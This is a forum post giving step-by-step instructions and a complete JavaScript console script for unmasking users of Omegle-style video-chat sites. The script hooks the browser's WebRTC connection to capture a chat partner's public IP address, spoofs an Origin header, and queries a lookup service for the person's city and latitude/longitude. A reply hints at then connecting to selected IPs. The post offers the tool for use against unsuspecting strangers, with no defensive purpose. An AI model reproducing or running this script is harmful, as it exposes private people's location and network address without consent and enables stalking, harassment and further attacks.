Finding Omingle users location and ip

1 - open omingle in chrome or Firefox ( Firefox recommended )
2 - right click and select inspect element .
3 - click on console
4 - copy paste below script

window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
function makeid(length) {
    var result           = '';
    var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var charactersLength = characters.length;
    for ( var i = 0; i < length; i++ ) {
      result += characters.charAt(Math.floor(Math.random() * 
 charactersLength));
   }
   return result;
}

const getloc = async (ip) => {
    var uri = `https://ipwho.is/${ip}`;
    await fetch(uri, {
    method: 'POST', 
    mode: 'cors',
    cache: 'no-cache', 
    credentials: 'same-origin', 
    headers: {
      'Content-Type': 'application/json',
      'Origin': `https://${makeid(5)}.com`,
    },
    redirect: 'follow',
    referrerPolicy: 'no-referrer', 
    
  }).then((responce) =>
    
    responce.json().then((json) => {
    console.log(responce);
        const output = `
        =============== info ==========
        ip :  ${ip}
        country : ${json.country}
        continent_code : ${json.continent_code}
        resion : ${json.region}
        city :  ${json.city}
        latitude : ${json.latitude}
        longitude : ${json.longitude}
        -------------------------------
        `;
        console.log(output);
    })
    )
}

window.RTCPeerConnection = function (...args) {

    const pc = new window.oRTCPeerConnection(...args);

    pc.oaddIceCandidate = pc.addIceCandidate;

    pc.addIceCandidate = function (iceCandidate, ...rest) { const fields = iceCandidate.candidate.split(" ");

        const ip = fields [4]; 
        if (fields [7] == "srflx") {

            getloc(ip);
        }

    return pc.oaddIceCandidate (iceCandidate, ...rest);
    };
return pc;

};

this can used to any webrtc support website like omingle .

1 Like

Can we connect to known ip ?

yes its possible. 1 st get ips from this script , select ip to which you wants to connect and little bit coding :wink: